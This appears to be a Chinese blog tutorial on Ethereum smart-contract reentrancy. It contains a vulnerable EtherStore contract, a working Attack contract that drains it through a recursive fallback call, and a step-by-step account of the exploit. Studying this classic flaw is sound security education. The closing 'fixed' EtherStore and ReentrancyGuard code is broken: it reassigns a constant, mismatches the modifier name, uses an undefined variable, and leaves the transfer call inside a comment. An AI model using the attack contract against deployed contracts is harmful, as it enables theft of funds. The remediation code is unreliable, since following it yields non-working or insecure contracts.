重入攻击

856 阅读4分钟

重入 (Re-Entrance) 攻击漏洞是以太坊中的攻击方式之一,早在 2016 年就因为 The DAO 事件而造成了以太坊的硬分叉。

漏洞概述

在以太坊中,智能合约能够调用其他外部合约的代码,由于智能合约可以调用外部合约或者发送以太币,这些操作需要合约提交外部的调用,这些外部调用可以被攻击者劫持,从而迫使合约执行更多的代码(即通过 fallback 回退函数),包括回调原合约本身。所以,合约代码执行过程中将可以“重入”该合约重入攻击本质上与编程里的递归调用类似.

发生重入攻击漏洞的条件有 2 个:

调用了外部的合约且该合约是不安全的
外部合约的函数调用早于状态变量的修改

image.png

image.png

相关概念:

1.转账方法

.transfer():只会发送 2300 gas 进行调用,当发送失败时会通过 throw 来进行回滚操作,从而防止了重入攻击。

.send():只会发送 2300 gas 进行调用,当发送失败时会返回布尔值 false,从而防止了重入攻击。

.gas().call.vale()():在调用时会发送所有的 gas,当发送失败时会返回布尔值 false,不能有效的防止重入攻击。

2.fallback 函数

回退函数 (fallback function):回退函数是每个合约中有且仅有一个没有名字的函数,并且该函数无参数,无返回值 回退函数在以下几种情况中被执行:

function() public payable(){}

*调用合约时没有匹配到任何一个函数;
*没有传数据;
*智能合约收到以太币(为了接受以太币,fallback 函数必被标记为 payable)

漏洞详解

etherstore代码

pragma solidity ^0.4.19;
contract EtherStore{
uint256 public withdrawaLimit = 1 ether;
mapping(address => uint256) public lastWithdrawTime;
mapping(address => uint256) public balances;

function depositFunds() public payable {
    balances[msg.sender] += msg.value;
}

function withdrawFunds (uint256 _weiToWithdraw) public {
    require(balances[msg.sender] >= _weiToWithdraw);
    //限制取回金额不能超过1ether
    require(_weiToWithdraw <= withdrawaLimit);
    //限制每周取一次
    require(now >= lastWithdrawTime[msg.sender] + 1 weeks);
    require(msg.sender.call.value(_weiToWithdraw)());
    balances[msg.sender] -= _weiToWithdraw;
    lastWithdrawTime[msg.sender] = now;
}

}

depositFunds() 和 withdrawFunds() 。depositFunds() 函数是累计发送者余额。withdrawFunds() 函数允许发送者指定要提取的以太币数量,要求提取的金额小于或等于1个以太币且在一周内没有发生提取时。

attack代码

pragma solidity ^0.4.22; import "./EtherStore.sol";

contract Attack{
EtherStore public etherStore;
//EtherStore合约地址作为构造参数来创建攻击该合约
constructor(address _etherStoreAddress){
etherStore = EtherStore(_etherStoreAddress);
}

function pwnEtherStore() public payable{
    //发起攻击需要启动资金
    require(msg.value >= 1 ether);
    //调用depositFunds函数充值
    etherStore.depositFunds.value(1 ether)();
    //启动攻击
    etherStore.withdrawFunds(1 ether);
}

function collectEther() public {
    msg.sender.transfer(this.balance);
}
//fallback 函数 秘密所在
function () payable {
    if (etherStore.balance > 1 ether) {
        etherStore.withdrawFunds(1 ether);
    }
}

}

攻击者将使用 EtherStore 的合约地址作为构造函数参数创建上述合约

攻击者将调用 pwnEtherStore() 函数

==>EtherStore 合约的 depositFunds() 函数被调用

==>恶意合约将使用1 ether的参数调用EtherStore合约的withdrawFunds()函数。(这将通过EtherStore合约的第[12] - [16]行)

==>合约将1以太币发回恶意合约

==>发送给恶意合约的以太币将执行回退函数

==>EtherStore 合约的总余额为n个以太币,现在为n-1(假设大于1)个以太币,if语句通过

==>回退函数再次调用 EtherStore 的 withdrawFunds() 函数并“重新进入” EtherStore 合约

==>在第二次调用 withdrawFunds() 时,我们的余额仍为1以太,因为第18行尚未执行

==>我们提取另外1个以太币

==>将重复- 直到 EtherStore.balance<= 1

==>将设置 balances 和 lastWithdrawTime 映射,执行将结束

两个合约成功部署截图 image.png image.png 执行攻击成功(由于博主心疼钱钱,只转了一个ether)

正确的操作是 先存入n个币, 然后执行攻击后会取出n-1个 image.png

解决办法

使用其他转账函数

在进行以太币转账发送给外部地址时使用 Solidity 内置的 transfer() 函数

如果用户的目的只是向目标地址转账,那么一定要使用transfer函数,而不是用来执行消息调用(函数调用)的call函数

先修改状态变量

确保在外部函数调用之前修改相应的智能合约状态变量(并且要在修改状态变量之前做严格的检查),而不要在外部函数调用之后再修改,因为用户无法控制外部函数的行为。

使用互斥锁 添加一个在代码执行过程中锁定合约的状态变量以防止重入攻击。

使用拒绝重入模板合约。

代码【参考网络】

pragma solidity ^0.4.24;
contract ReentrancyGuard{
uint private constant REENTRANCY_GUARD_FREE = 1; uint private constant REENTRANCY_GUARD_LOCKED = 2;
uint private constant reentrancylock = REENTRANCY_GUARD_FREE;
modifier nonreentrant(){
require(reentrancylock == REENTRANCY_GUARD_FREE);
reentrancylock = REENTRANCY_GUARD_LOCKED;
_;
reentrancylock = REENTRANCY_GUARD_FREE;
}}

应用后的EtherStore合约。

import "ReentrancyGuard"
contract EtherStore is ReentrancyGuard{
uint256 public withdrawaLimit = 1 ether;
mapping(address => uint256) public lastWithdrawTime;
mapping(address => uint256) public balances;
function depositFunds() public payable {
balances[msg.sender] += msg.value;
}
//withdrawFunds函数声明为nonReentrant
function withdrawFunds (uint256 _weiToWithdraw) public nonReentrant {
require(!reEntrancyMutex);
require(balances[msg.sender] >= _weiToWithdraw); //限制取回金额不能超过1ether require(_weiToWithdraw <= lastWithdrawTime); //限制每周取一次
require(now >= lastWithdrawTime[msg.sender] + 1 weeks);
balances[msg.sender] -= _weiToWithdraw;
lastWithdrawTime[msg.sender] = now;
//修改msg.sender余额状态和取款时间后才进行转账操作 msg.sender.transfer(_weiToWithdraw);
}}